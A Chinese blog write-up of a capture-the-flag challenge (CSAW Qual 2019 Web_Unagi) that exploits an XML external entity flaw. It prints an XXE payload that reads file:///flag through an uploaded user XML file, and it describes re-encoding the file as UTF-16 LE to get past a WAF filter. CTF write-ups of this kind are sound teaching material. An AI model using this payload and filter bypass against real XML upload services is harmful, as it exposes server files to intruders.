首页 > 其他分享 >[CSAWQual 2019]Web_Unagi XXE漏洞练习题

[CSAWQual 2019]Web_Unagi XXE漏洞练习题

时间:2024-07-09 20:56:12浏览次数:24  
标签:练习题 Web 文件 CSAWQual 漏洞 flag 111 xxe 上传

题目地址:BUUCTF在线评测

这道题就是简单的xxe漏洞的注入。

进来之后我们进行一个信息收集,在upload下可以看到有个here的超链接。点进去之后得到了如下的一些信息。

可以猜到是需要我们利用文件上传包含xxe漏洞利用来得到flag。

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY admin SYSTEM "file:///flag">]>
<users>
    <user>
        <username>111</username>
        <password>111</password>
        <name> 111</name>
        <email>[email protected]</email>
        <group>CSAW2019</group>
        <intro>&admin;</intro>
    </user>
</users>

利用我们学习的xxe漏洞的知识来进行一个模板的套用。

然后将保存的文件后缀改为.xml:

使用我们的Visual Studio Code进行一个编码的转换,因为直接上传会被waf过滤

选择utf-16 LE,然后保存 。

最后进行一个文件上传即可得到flag。

标签:练习题,Web,文件,CSAWQual,漏洞,flag,111,xxe,上传
From: https://blog.csdn.net/dalaojiaoweb/article/details/140305135

相关文章

  • 生产实习--启明星辰 第四天(Web网络安全基础知识,sql注入,xss攻击,csrf与ssrf,xxe攻击,未授
    web安全的基础知识基本定义Web安全,也称为网络安全或在线安全,是指保护网站、网页和Web服务免受各种威胁和攻击的技术和实践。这些威胁可能来自恶意软件、网络攻击、数据泄露、身份盗窃、服务中断等。Web安全的目标是确保Web应用程序和用户数据的安全、完整和可用性。一般流程......
  • jmeter自定义函数开发—Web3钱包生成工具
    之前使用Jmeter进行接口测试时,有生成钱包地址的需求,于是有时间就简单写了个自定义函数环境说明JDK1.8.0,Jmeter5.4.3,maven构建工具实现代码新建一个简单的maven项目即可,以下是pom.xml配置<?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apache.org......
  • Linux web服务
    Web服务在Linux中存在许多可以提供web服务的软件,httpd、tomcat、nginx等Web通信的基本概念基于B/S架构的网页服务HTTPHTML【1】、httpd软件1、httpd软件安装httpd是软件基金会写出的软件基金会(Apache)yuminstall-yhttpdrpm-qahttpdhttpd-2.4.37-62.mod......
  • Core WebAPI 中 Program.cs和Startup.cs认识 (高频考点)
    1.Program.cs认识publicclassProgram{publicstaticvoidMain(string[]args){//Build方法构建出一个web应用程序,然后去运行CreateWebHostBuilder(args)//调用下面的方法,返回一个IWebHostBuilder对象.Build()//用......
  • Chrome海康VideoWebPlugin无法调用
    在高版本Chome浏览器中无法使用VideoWebPlugin解决办法第一种使用低于94版本的Chrome浏览器下载地址:旧版本下载第二种在谷歌浏览器中地址栏输入chrome://flags/Allowinvalidcertificatesforresourcesloadedfromlocalhost(Enabled)Blockinsecureprivatenetwork......
  • Asp.NET Core WebAPI 设置环境变量值ASPNETCORE_ENVIRONMENT
    默认情况下发布后的环境变量是Production方式一:在文件夹PublishProfiles下的FolderProfile.pubxml文件增加配置<Project><PropertyGroup><EnvironmentName>Development</EnvironmentName></PropertyGroup></Project>表示发布后通过builder.Environment.Env......
  • JavaWeb学习笔记-前端部分
    前端HTML标签表格标签<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><title>表格</ti......
  • 基于Javaweb网球俱乐部网球场地预约系统设计与实现
      博主介绍:黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;专注大学生毕业设计教育和辅导。所有项目都配有从入门到精通的基础知识视频课程,学习后应对毕业设计答辩。项目配有对应开发文档、开题报告、任务书......
  • Haproxy搭建Web群集
    一:案例分析1:案例概述2:案例前置知识3:案例环境二:案例实施1:编译安装nginx服务器(两个nginx网站的步骤完全一样,只有测试页面不同)[root@localhost~]#yum-yinstallpcre-develzlib-develgcc*[root@localhost~]#useradd-M-s/sbin/nologinnginx[root@localhost~]......
  • 用Goaccess对Web及雷池WAF日志实现可视化分析
    君衍.一、项目环境介绍二、Goaccess1、Goaccess介绍2、存储方式3、配置选项4、自定义日志/日期格式5、特殊格式说明符三、雷池访问日志1、配置文件改变2、docker配置3、示例测试四、Goaccess安装1、安装依赖2、编译安装五、Goaccess对Nginx日志分析1、常用命令参数2、......